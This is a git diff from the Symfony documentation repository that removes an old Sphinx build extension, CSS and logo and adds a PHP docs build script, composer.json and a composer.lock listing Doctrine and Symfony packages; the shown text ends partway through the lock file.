"#ffffff", # class: 'g' - Generic.Deleted: "#a40000", # class: 'gd' - Generic.Emph: "italic #ffffff", # class: 'ge' - Generic.Error: "#ef2929", # class: 'gr' - Generic.Heading: "#000080", # class: 'gh' - Generic.Inserted: "#00A000", # class: 'gi' - Generic.Output: "#888", # class: 'go' - Generic.Prompt: "#745334", # class: 'gp' - Generic.Strong: "bold #ffffff", # class: 'gs' - Generic.Subheading: "bold #800080", # class: 'gu' - Generic.Traceback: "bold #a40000", # class: 'gt' - } diff --git a/_build/_exts/symfonycom/sphinx/lexer.py b/_build/_exts/symfonycom/sphinx/lexer.py deleted file mode 100644 index f1e87066236..00000000000 --- a/_build/_exts/symfonycom/sphinx/lexer.py +++ /dev/null @@ -1,23 +0,0 @@ -from pygments.lexer import RegexLexer, bygroups, using -from pygments.token import * -from pygments.lexers.shell import BashLexer, BatchLexer - -class TerminalLexer(RegexLexer): - name = 'Terminal' - aliases = ['terminal'] - filenames = [] - - tokens = { - 'root': [ - ('^\$', Generic.Prompt, 'bash-prompt'), - ('^>', Generic.Prompt, 'dos-prompt'), - ('^#.+$', Comment.Single), - ('^.+$', Generic.Output), - ], - 'bash-prompt': [ - ('(.+)$', bygroups(using(BashLexer)), '#pop') - ], - 'dos-prompt': [ - ('(.+)$', bygroups(using(BatchLexer)), '#pop') - ], - } diff --git a/_build/_static/rtd_custom.css b/_build/_static/rtd_custom.css deleted file mode 100644 index 01298437755..00000000000 --- a/_build/_static/rtd_custom.css +++ /dev/null @@ -1,23 +0,0 @@ -body { - font-family:Lucida Grande,Lucida Sans Unicode,Lucida Sans,Geneva,Verdana,sans-serif !important; -} - -h1, h2, h3, h4, h5, h6 { - font-family:Georgia,Times New Roman,Times,serif !important; - line-height:1.2 !important; - margin-top:0 !important; - margin-bottom:.5em !important; -} -p, .rst-content li{ - font-size:14px !important; - line-height:1.45 !important; -} -.wy-menu-vertical a { - font-size:14px !important; - padding-right:0 !important; -} - -.highlight { - background:#1e2125 !important; - color:#fafafa !important; -} diff --git a/_build/_static/symfony-logo.svg b/_build/_static/symfony-logo.svg deleted file mode 100644 index 828c2b297b0..00000000000 --- a/_build/_static/symfony-logo.svg +++ /dev/null @@ -1 +0,0 @@ -<svg xmlns="http://www.w3.org/2000/svg" width="260" height="66" viewBox="0 0 260 66"><circle fill="#1A171B" cx="32.455" cy="32.665" r="32.455"/><path fill="#FFF" d="M46.644 12.219c-3.297.115-6.175 1.932-8.317 4.446-2.372 2.756-3.95 6.025-5.087 9.362-2.034-1.667-3.603-3.825-6.866-4.766-2.522-.724-5.171-.425-7.607 1.39-1.154.862-1.949 2.165-2.327 3.39-.979 3.183 1.029 6.016 1.941 7.033l1.994 2.137c.411.419 1.401 1.512.917 3.079-.523 1.704-2.577 2.807-4.684 2.157-.941-.287-2.293-.988-1.99-1.975.125-.404.414-.706.569-1.055.142-.3.21-.525.253-.657.385-1.257-.141-2.892-1.487-3.307-1.256-.385-2.541-.08-3.039 1.537-.565 1.837.314 5.171 5.023 6.623 5.517 1.695 10.184-1.309 10.846-5.227.417-2.454-.691-4.277-2.721-6.622l-1.654-1.829c-1.002-1.001-1.346-2.707-.309-4.018.875-1.106 2.121-1.578 4.162-1.023 2.979.809 4.307 2.876 6.523 4.543-.915 3.001-1.513 6.013-2.054 8.714l-.33 2.014c-1.584 8.308-2.793 12.87-5.935 15.489-.633.45-1.538 1.124-2.902 1.171-.715.022-.946-.47-.956-.684-.017-.502.406-.732.687-.958.42-.229 1.055-.609 1.012-1.826-.046-1.438-1.237-2.685-2.959-2.628-1.29.044-3.256 1.258-3.182 3.48.077 2.295 2.216 4.015 5.441 3.906 1.724-.059 5.574-.761 9.368-5.271 4.416-5.17 5.651-11.097 6.58-15.435l1.037-5.727c.576.069 1.192.115 1.862.131 5.5.116 8.251-2.733 8.292-4.805.027-1.254-.823-2.488-2.013-2.46-.852.024-1.922.591-2.179 1.769-.251 1.156 1.75 2.199.186 3.212-1.111.719-3.103 1.226-5.908.814l.51-2.819c1.041-5.346 2.325-11.922 7.196-12.082.355-.018 1.654.016 1.684.875.009.287-.062.36-.398 1.017-.342.512-.471.948-.455 1.449.047 1.365 1.085 2.262 2.586 2.208 2.01-.065 2.588-2.022 2.555-3.027-.081-2.361-2.57-3.853-5.865-3.745z"/><path fill="#1A171B" d="M196.782 23.534c7.48 0 12.499 5.407 12.499 12.887 0 7.048-5.116 12.886-12.499 12.886-7.435 0-12.55-5.838-12.55-12.886 0-7.48 5.018-12.887 12.55-12.887zm0 22.109c5.306 0 7.671-4.827 7.671-9.222 0-4.68-2.847-9.217-7.671-9.217-4.877 0-7.724 4.537-7.724 9.217.001 4.394 2.365 9.222 7.724 9.222zM183.61 25.825v-1.713h-6.518v-2.341c0-3.33.483-5.842 4.391-5.842.072 0 .149.005.224.008.008 0 .007-.012.016-.012 1.085.08 1.987-.804 2.048-1.887l.08-1.486c-.915-.146-1.884-.29-3.039-.29-6.709 0-8.255 3.91-8.255 9.896v1.955h-5.795v1.913c.149.99.996 1.752 2.031 1.752.006 0 .009.005.016.005h3.748V48.73h2.5l.006-.001c1.04 0 1.892-.779 2.03-1.779V27.783h4.538a2.052 2.052 0 0 0 1.979-1.958zm-60.435-1.713c-.008 0-.013.006-.024.006-.956 0-1.882.657-2.286 1.545l-6.244 18.82h-.096l-6.106-18.81c-.399-.893-1.329-1.555-2.291-1.555-.011 0-.015-.006-.024-.006h-3.164l8.351 22.977c.291.821.871 2.077.871 2.606 0 .483-1.353 6.08-5.409 6.08-.1 0-.201-.009-.3-.017-1.034-.057-1.815.665-1.989 1.779l-.124 1.57c.82.145 1.645.338 3.092.338 5.984 0 7.769-5.455 9.46-10.185l9.073-25.149h-2.79zm-28.843 5c-3.747-1.917-7.847-3.218-7.918-7.076.012-4.097 3.776-5.172 6.677-5.169.012-.002.024-.002.031-.002 1.26 0 2.268.125 3.251.34.013 0 .011-.016.027-.016 1.039.076 1.911-.737 2.034-1.762l.083-1.488c-1.902-.473-3.889-.712-5.619-.712-6.309.039-10.992 3.213-11.007 9.268.009 5.296 3.578 7.349 7.416 9.207 3.764 1.81 7.888 3.305 7.924 7.674-.023 4.56-4.423 6.241-7.455 6.247-1.773-.006-3.698-.449-5.32-.96-1.017-.168-1.851.729-1.982 1.917l-.138 1.327c2.23.72 4.517 1.348 6.815 1.348h.027c7.065-.051 12.557-2.869 12.578-10.185-.011-5.645-3.604-8.016-7.424-9.958zm68.623 19.617l.006-.001c.98 0 1.796-.687 2.004-1.604V32.947c0-5.358-2.267-9.413-8.546-9.413-2.219 0-5.934 1.257-7.623 4.779-1.306-3.331-4.15-4.779-7-4.779-3.619 0-6.082 1.303-7.816 4.152h-.099v-1.532a2.058 2.058 0 0 0-2.055-2.036c-.008 0-.014-.006-.022-.006h-2.169v24.617h2.456l.006-.001a2.06 2.06 0 0 0 2.059-2.059c0-.03.011-.042.016-.063v-10.28c0-4.585 1.834-9.122 6.467-9.122 3.669 0 4.396 3.811 4.396 6.853V48.73h2.49l.007-.001a2.05 2.05 0 0 0 2.037-1.873v-10.53c0-4.585 1.835-9.122 6.468-9.122 3.667 0 4.393 3.811 4.393 6.853V48.73h2.525zm70.113 0l.008-.001a2.054 2.054 0 0 0 2.049-1.964v-12.66c0-6.611-2.85-10.571-9.222-10.571-3.426 0-6.705 1.691-8.059 4.491h-.097v-1.839c0-.001-.004-.001-.004-.006a2.057 2.057 0 0 0-2.058-2.061c-.011 0-.015-.006-.022-.006h-2.311v24.617h2.493l.007-.001a2.05 2.05 0 0 0 2.038-1.895v-9.495c0-5.984 2.319-10.135 7.482-10.135 3.96.24 5.211 3.038 5.211 8.783v12.742h2.485zm24.428-24.617c-.011 0-.014.006-.026.006-.954 0-1.883.657-2.283 1.545l-6.242 18.82h-.102l-6.104-18.81c-.401-.893-1.331-1.555-2.293-1.555-.007 0-.015-.006-.021-.006h-3.164l8.351 22.977c.291.821.873 2.077.873 2.606 0 .483-1.355 6.08-5.41 6.08-.102 0-.201-.009-.301-.017-1.033-.057-1.815.665-1.99 1.779l-.122 1.57c.82.145 1.645.338 3.091.338 5.984 0 7.772-5.455 9.462-10.185l9.074-25.149h-2.793z"/></svg> \ No newline at end of file diff --git a/_build/build.php b/_build/build.php new file mode 100755 index 00000000000..b684700a848 --- /dev/null +++ b/_build/build.php @@ -0,0 +1,91 @@ +#!/usr/bin/env php +<?php +require __DIR__.'/vendor/autoload.php'; + +use Symfony\Component\Console\Application; +use Symfony\Component\Console\Input\InputInterface; +use Symfony\Component\Console\Output\OutputInterface; +use Symfony\Component\Console\Input\InputOption; +use Symfony\Component\Console\Style\SymfonyStyle; +use SymfonyDocsBuilder\BuildConfig; +use SymfonyDocsBuilder\DocBuilder; + +(new Application('Symfony Docs Builder', '1.0')) + ->register('build-docs') + ->addOption('generate-fjson-files', null, InputOption::VALUE_NONE, 'Use this option to generate docs both in HTML and JSON formats') + ->addOption('disable-cache', null, InputOption::VALUE_NONE, 'Use this option to force a full regeneration of all doc contents') + ->setCode(function(InputInterface $input, OutputInterface $output) { + // the doc building app doesn't work on Windows + if ('\\' === DIRECTORY_SEPARATOR) { + $output->writeln('<error>ERROR: The application that builds Symfony Docs does not support Windows. You can try using a Linux distribution via WSL (Windows Subsystem for Linux).</error>'); + + return 1; + } + + $io = new SymfonyStyle($input, $output); + $io->text('Building all Symfony Docs...'); + + $outputDir = __DIR__.'/output'; + $buildConfig = (new BuildConfig()) + ->setSymfonyVersion('7.1') + ->setContentDir(__DIR__.'/..') + ->setOutputDir($outputDir) + ->setImagesDir(__DIR__.'/output/_images') + ->setImagesPublicPrefix('_images') + ->setTheme('rtd') + ; + + $buildConfig->setExcludedPaths(['.github/', '_build/']); + + if (!$generateJsonFiles = $input->getOption('generate-fjson-files')) { + $buildConfig->disableJsonFileGeneration(); + } + + if ($isCacheDisabled = $input->getOption('disable-cache')) { + $buildConfig->disableBuildCache(); + } + + $io->comment(sprintf('cache: %s / output file type(s): %s', $isCacheDisabled ? 'disabled' : 'enabled', $generateJsonFiles ? 'HTML and JSON' : 'HTML')); + if (!$isCacheDisabled) { + $io->comment('Tip: add the --disable-cache option to this command to force the re-build of all docs.'); + } + + $result = (new DocBuilder())->build($buildConfig); + + if ($result->isSuccessful()) { + // fix assets URLs to make them absolute (otherwise, they don't work in subdirectories) + $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($outputDir)); + + foreach (new RegexIterator($iterator, '/^.+\.html$/i', RegexIterator::GET_MATCH) as $match) { + $htmlFilePath = array_shift($match); + $htmlContents = file_get_contents($htmlFilePath); + + $htmlRelativeFilePath = str_replace($outputDir.'/', '', $htmlFilePath); + $subdirLevel = substr_count($htmlRelativeFilePath, '/'); + $baseHref = str_repeat('../', $subdirLevel); + + $htmlContents = str_replace('<head>', '<head><base href="'.$baseHref.'">', $htmlContents); + $htmlContents = str_replace('<img src="/_images/', '<img src="_images/', $htmlContents); + file_put_contents($htmlFilePath, $htmlContents); + } + + foreach (new RegexIterator($iterator, '/^.+\.css/i', RegexIterator::GET_MATCH) as $match) { + $htmlFilePath = array_shift($match); + $htmlContents = file_get_contents($htmlFilePath); + file_put_contents($htmlFilePath, str_replace('fonts/', '../fonts/', $htmlContents)); + } + + $io->success(sprintf("The Symfony Docs were successfully built at %s", realpath($outputDir))); + } else { + $io->error(sprintf("There were some errors while building the docs:\n\n%s\n", $result->getErrorTrace())); + $io->newLine(); + $io->comment('Tip: you can add the -v, -vv or -vvv flags to this command to get debug information.'); + + return 1; + } + + return 0; + }) + ->getApplication() + ->setDefaultCommand('build-docs', true) + ->run(); diff --git a/_build/composer.json b/_build/composer.json new file mode 100644 index 00000000000..f77976b10f4 --- /dev/null +++ b/_build/composer.json @@ -0,0 +1,22 @@ +{ + "minimum-stability": "dev", + "prefer-stable": true, + "config": { + "platform": { + "php": "8.3" + }, + "preferred-install": { + "*": "dist" + }, + "sort-packages": true, + "allow-plugins": { + "symfony/flex": true + } + }, + "require": { + "php": ">=8.3", + "symfony/console": "^6.2", + "symfony/process": "^6.2", + "symfony-tools/docs-builder": "^0.27" + } +} diff --git a/_build/composer.lock b/_build/composer.lock new file mode 100644 index 00000000000..b9a4646f8ae --- /dev/null +++ b/_build/composer.lock @@ -0,0 +1,1792 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "e38eca557458275428db96db370d2c74", + "packages": [ + { + "name": "doctrine/event-manager", + "version": "2.0.1", + "source": { + "type": "git", + "url": "https://github.com/doctrine/event-manager.git", + "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/event-manager/zipball/b680156fa328f1dfd874fd48c7026c41570b9c6e", + "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e", + "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "conflict": { + "doctrine/common": "<2.9" + }, + "require-dev": { + "doctrine/coding-standard": "^12", + "phpstan/phpstan": "^1.8.8", + "phpunit/phpunit": "^10.5", + "vimeo/psalm": "^5.24" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Common\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + }, + { + "name": "Marco Pivetta", + "email": "ocramius@gmail.com" + } + ], + "description": "The Doctrine Event Manager is a simple PHP event system that was built to be used with the various Doctrine projects.", + "homepage": "https://www.doctrine-project.org/projects/event-manager.html", + "keywords": [ + "event", + "event dispatcher", + "event manager", + "event system", + "events" + ], + "support": { + "issues": "https://github.com/doctrine/event-manager/issues", + "source": "https://github.com/doctrine/event-manager/tree/2.0.1" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Fevent-manager", + "type": "tidelift" + } + ], + "time": "2024-05-22T20:47:39+00:00" + }, + { + "name": "doctrine/rst-parser", + "version": "0.5.6", + "source": { + "type": "git", + "url": "https://github.com/doctrine/rst-parser.git", + "reference": "ca7f5f31f9ea58fde5aeffe0f7b8eb569e71a104" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/ca7f5f31f9ea58fde5aeffe0f7b8eb569e71a104", + "reference": "ca7f5f31f9ea58fde5aeffe0f7b8eb569e71a104", + "shasum": "" + }, + "require": { + "doctrine/event-manager": "^1.0 || ^2.0", + "php": "^7.2 || ^8.0", + "symfony/filesystem": "^4.1 || ^5.0 || ^6.0 || ^7.0", + "symfony/finder": "^4.1 || ^5.0 || ^6.0 || ^7.0", + "symfony/polyfill-mbstring": "^1.0", + "symfony/string": "^5.3 || ^6.0 || ^7.0", + "symfony/translation-contracts": "^1.1 || ^2.0 || ^3.0", + "twig/twig": "^2.9 || ^3.3" + }, + "require-dev": { + "doctrine/coding-standard": "^11.0", + "gajus/dindent": "^2.0.2", + "phpstan/phpstan": "^1.9", + "phpstan/phpstan-deprecation-rules": "^1.0", + "phpstan/phpstan-phpunit": "^1.2", + "phpstan/phpstan-strict-rules": "^1.4", + "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0", + "symfony/css-selector": "4.4 || ^5.2 || ^6.0 || ^7.0", + "symfony/dom-crawler": "4.4 || ^5.2 || ^6.0 || ^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\RST\\": "lib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Grégoire Passault", + "email": "g.passault@gmail.com", + "homepage": "http://www.gregwar.com/" + }, + { + "name": "Jonathan H. Wage", + "email": "jonwage@gmail.com", + "homepage": "https://jwage.com" + } + ], + "description": "PHP library to parse reStructuredText documents and generate HTML or LaTeX documents.", + "homepage": "https://github.com/doctrine/rst-parser", + "keywords": [ + "html", + "latex", + "markup", + "parser", + "reStructuredText", + "rst" + ], + "support": { + "issues": "https://github.com/doctrine/rst-parser/issues", + "source": "https://github.com/doctrine/rst-parser/tree/0.5.6" + }, + "time": "2024-01-14T11:02:23+00:00" + }, + { + "name": "masterminds/html5", + "version": "2.9.0", + "source": { + "type": "git", + "url": "https://github.com/Masterminds/html5-php.git", + "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/f5ac2c0b0a2eefca70b2ce32a5809992227e75a6", + "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "php": ">=5.3.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7 || ^8 || ^9" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Masterminds\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Matt Butcher", + "email": "technosophos@gmail.com" + }, + { + "name": "Matt Farina", + "email": "matt@mattfarina.com" + }, + { + "name": "Asmir Mustafic", + "email": "goetas@gmail.com" + } + ], + "description": "An HTML5 parser and serializer.", + "homepage": "http://masterminds.github.io/html5-php", + "keywords": [ + "HTML5", + "dom", + "html", + "parser", + "querypath", + "serializer", + "xml" + ], + "support": { + "issues": "https://github.com/Masterminds/html5-php/issues", + "source": "https://github.com/Masterminds/html5-php/tree/2.9.0" + }, + "time": "2024-03-31T07:05:07+00:00" + }, + { + "name": "psr/container", + "version": "2.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "shasum": "" + }, + "require": { + "php": ">=7.4.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ], + "support": { + "issues": "https://github.com/php-fig/container/issues", + "source": "https://github.com/php-fig/container/tree/2.0.2" + }, + "time": "2021-11-05T16:47:00+00:00" + }, + { + "name": "psr/log", + "version": "3.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "f16e1d5863e37f8d8c2a01719f5b34baa2b714d3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/f16e1d5863e37f8d8c2a01719f5b34baa2b714d3", + "reference": "f16e1d5863e37f8d8c2a01719f5b34baa2b714d3", + "shasum": "" + }, + "require": { + "php": ">=8.0.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "support": { + "source": "https://github.com/php-fig/log/tree/3.0.2" + }, + "time": "2024-09-11T13:17:53+00:00" + }, + { + "name": "scrivo/highlight.php", + "version": "v9.18.1.10", + "source": { + "type": "git", + "url": "https://github.com/scrivo/highlight.php.git", + "reference": "850f4b44697a2552e892ffe71490ba2733c2fc6e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/850f4b44697a2552e892ffe71490ba2733c2fc6e", + "reference": "850f4b44697a2552e892ffe71490ba2733c2fc6e", + "shasum": "" + }, + "require": { + "ext-json": "*", + "php": ">=5.4" + }, + "require-dev": { + "phpunit/phpunit": "^4.8|^5.7", + "sabberworm/php-css-parser": "^8.3", + "symfony/finder": "^2.8|^3.4|^5.4", + "symfony/var-dumper": "^2.8|^3.4|^5.4" + }, + "suggest": { + "ext-mbstring": "Allows highlighting code with unicode characters and supports language with unicode keywords" + }, + "type": "library", + "autoload": { + "files": [ + "HighlightUtilities/functions.php" + ], + "psr-0": { + "Highlight\\": "", + "HighlightUtilities\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Geert Bergman", + "homepage": "http://www.scrivo.org/", + "role": "Project Author" + }, + { + "name": "Vladimir Jimenez", + "homepage": "https://allejo.io", + "role": "Maintainer" + }, + { + "name": "Martin Folkers", + "homepage": "https://twobrain.io", + "role": "Contributor" + } + ], + "description": "Server side syntax highlighter that supports 185 languages. It's a PHP port of highlight.js", + "keywords": [ + "code", + "highlight", + "highlight.js", + "highlight.php", + "syntax" + ], + "support": { + "issues": "https://github.com/scrivo/highlight.php/issues", + "source": "https://github.com/scrivo/highlight.php" + }, + "funding": [ + { + "url": "https://github.com/allejo", + "type": "github" + } + ], + "time": "2022-12-17T21:53:22+00:00" + }, + { + "name": "symfony-tools/docs-builder", + "version": "0.27.0", + "source": { + "type": "git", + "url": "https://github.com/symfony-tools/docs-builder.git", + "reference": "720b52b2805122a4c08376496bd9661944c2624a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/720b52b2805122a4c08376496bd9661944c2624a", + "reference": "720b52b2805122a4c08376496bd9661944c2624a", + "shasum": "" + }, + "require": { + "doctrine/rst-parser": "^0.5", + "ext-curl": "*", + "ext-json": "*", + "php": ">=8.3", + "scrivo/highlight.php": "^9.18.1", + "symfony/console": "^5.2 || ^6.0 || ^7.0", + "symfony/css-selector": "^5.2 || ^6.0 || ^7.0", + "symfony/dom-crawler": "^5.2 || ^6.0 || ^7.0", + "symfony/filesystem": "^5.2 || ^6.0 || ^7.0", + "symfony/finder": "^5.2 || ^6.0 || ^7.0", + "symfony/http-client": "^5.2 || ^6.0 || ^7.0", + "twig/twig": "^2.14 || ^3.3" + }, + "require-dev": { + "gajus/dindent": "^2.0", + "masterminds/html5": "^2.7", + "symfony/phpunit-bridge": "^5.2 || ^6.0 || ^7.0", + "symfony/process": "^5.2 || ^6.0 || ^7.0" + }, + "bin": [ + "bin/docs-builder" + ], + "type": "project", + "autoload": { + "psr-4": { + "SymfonyDocsBuilder\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "The build system for Symfony's documentation", + "support": { + "issues": "https://github.com/symfony-tools/docs-builder/issues", + "source": "https://github.com/symfony-tools/docs-builder/tree/0.27.0" + }, + "time": "2025-03-21T09:48:45+00:00" + }, + { + "name": "symfony/console", + "version": "v6.4.17", + "source": { + "type": "git", + "url": "https://github.com/symfony/console.git", + "reference": "799445db3f15768ecc382ac5699e6da0520a0a04" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/console/zipball/799445db3f15768ecc382ac5699e6da0520a0a04", + "reference": "799445db3f15768ecc382ac5699e6da0520a0a04", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-mbstring": "~1.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/string": "^5.4|^6.0|^7.0" + }, + "conflict": { + "symfony/dependency-injection": "<5.4", + "symfony/dotenv": "<5.4", + "symfony/event-dispatcher": "<5.4", + "symfony/lock": "<5.4", + "symfony/process": "<5.4" + }, + "provide": { + "psr/log-implementation": "1.0|2.0|3.0" + }, + "require-dev": { + "psr/log": "^1|^2|^3", + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/event-dispatcher": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^6.4|^7.0", + "symfony/http-kernel": "^6.4|^7.0", + "symfony/lock": "^5.4|^6.0|^7.0", + "symfony/messenger": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/stopwatch": "^5.4|^6.0|^7.0", + "symfony/var-dumper": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Console\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Eases the creation of beautiful and testable command line interfaces", + "homepage": "https://symfony.com", + "keywords": [ + "cli", + "command-line", + "console", + "terminal" + ], + "support": { + "source": "https://github.com/symfony/console/tree/v6.4.17" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-12-07T12:07:30+00:00" + }, + { + "name": "symfony/css-selector", + "version": "v7.2.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/css-selector.git", + "reference": "601a5ce9aaad7bf10797e3663faefce9e26c24e2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/css-selector/zipball/601a5ce9aaad7bf10797e3663faefce9e26c24e2", + "reference": "601a5ce9aaad7bf10797e3663faefce9e26c24e2", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\CssSelector\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Jean-François Simon", + "email": "jeanfrancois.simon@sensiolabs.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Converts CSS selectors to XPath expressions", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/css-selector/tree/v7.2.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-25T14:21:43+00:00" + }, + { + "name": "symfony/deprecation-contracts", + "version": "v3.5.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/deprecation-contracts.git", + "reference": "74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6", + "reference": "74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/contracts", + "name": "symfony/contracts" + }, + "branch-alias": { + "dev-main": "3.5-dev" + } + }, + "autoload": { + "files": [ + "function.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "A generic function and convention to trigger deprecation notices", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.5.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-25T14:20:29+00:00" + }, + { + "name": "symfony/dom-crawler", + "version": "v7.2.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/dom-crawler.git", + "reference": "19cc7b08efe9ad1ab1b56e0948e8d02e15ed3ef7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/19cc7b08efe9ad1ab1b56e0948e8d02e15ed3ef7", + "reference": "19cc7b08efe9ad1ab1b56e0948e8d02e15ed3ef7", + "shasum": "" + }, + "require": { + "masterminds/html5": "^2.6", + "php": ">=8.2", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-mbstring": "~1.0" + }, + "require-dev": { + "symfony/css-selector": "^6.4|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\DomCrawler\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Eases DOM navigation for HTML and XML documents", + "homepage": "https://symfony.com", + "support": { + 